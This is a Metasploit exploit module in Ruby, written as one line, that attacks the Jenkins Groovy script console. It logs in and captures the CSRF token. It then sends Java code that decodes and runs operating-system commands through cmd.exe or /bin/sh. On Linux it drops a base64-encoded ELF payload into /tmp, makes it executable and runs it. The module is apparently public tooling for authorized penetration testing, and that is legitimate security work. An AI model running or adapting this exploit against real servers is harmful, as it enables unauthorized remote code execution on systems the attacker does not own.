## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins Script-Console Java Execution', 'Description' => %q{ This module uses the Jenkins Groovy script console to execute OS commands using Java. }, 'Author' => [ 'Spencer McIntyre', 'jamcut' ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'WfsDelay' => '10', }, 'References' => [ ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] ], 'Platform' => %w{ win linux unix }, 'Targets' => [ ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], 'DisclosureDate' => 'Jan 18 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]), ], self.class) end def check uri = target_uri uri.path = normalize_uri(uri.path) uri.path << "/" if uri.path[-1, 1] != "/" res = send_request_cgi({'uri' => "#{uri.path}login"}) if res and res.headers.include?('X-Jenkins') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def on_new_session(client) if not @to_delete.nil? print_warning("Deleting #{@to_delete} payload file") execute_command("rm #{@to_delete}") end end def http_send_command(cmd, opts = {}) request_parameters = { 'method' => 'POST', 'uri' => normalize_uri(@uri.path, "script"), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), 'Submit' => 'Run' } } request_parameters['cookie'] = @cookie if @cookie != nil request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil res = send_request_cgi(request_parameters) if not (res and res.code == 200) fail_with(Failure::Unknown, 'Failed to execute the command.') end end def java_craft_runtime_exec(cmd) decoder = Rex::Text.rand_text_alpha(5, 8) decoded_bytes = Rex::Text.rand_text_alpha(5, 8) cmd_array = Rex::Text.rand_text_alpha(5, 8) jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" jcode << "String [] #{cmd_array} = new String[3];\n" if target['Platform'] == 'win' jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" jcode << "#{cmd_array}[1] = \"/c\";\n" else jcode << "#{cmd_array}[0] = \"/bin/sh\";\n" jcode << "#{cmd_array}[1] = \"-c\";\n" end jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" jcode << "Runtime.getRuntime().exec(#{cmd_array});\n" jcode end def execute_command(cmd, opts = {}) vprint_status("Attempting to execute: #{cmd}") http_send_command("#{cmd}") end def linux_stager cmds = "echo LINE | tee FILE" exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) base64 = Rex::Text.encode_base64(exe) base64.gsub!(/\=/, "\\u003d") file = rand_text_alphanumeric(4+rand(4)) execute_command("touch /tmp/#{file}.b64") cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") base64.each_line do |line| line.chomp! cmd = cmds cmd.gsub!(/LINE/, line) execute_command(cmds) end execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") execute_command("chmod +x /tmp/#{file}") execute_command("rm /tmp/#{file}.b64") execute_command("/tmp/#{file}") @to_delete = "/tmp/#{file}" end def exploit @uri = target_uri @uri.path = normalize_uri(@uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" print_status('Checking access to the script console') res = send_request_cgi({'uri' => "#{@uri.path}script"}) fail_with(Failure::Unknown, 'No Response received') if not res @cookie = nil @crumb = nil if res.code != 200 print_status('Logging in...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), 'vars_post' => { 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'), 'Submit' => 'log in' } }) if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/ fail_with(Failure::NoAccess, 'Login failed') end sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0] @cookie = "#{sessionid}" res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie}) fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200 else print_status('No authentication required, skipping login...') end if (res.body =~ /"\.crumb", "([a-z0-9]*)"/) print_status("Using CSRF token: '#{$1}'"); @crumb = $1; end case target['Platform'] when 'win' print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") http_send_command("#{payload.encoded}") when 'linux' print_status("#{rhost}:#{rport} - Sending Linux stager...") linux_stager end handler end end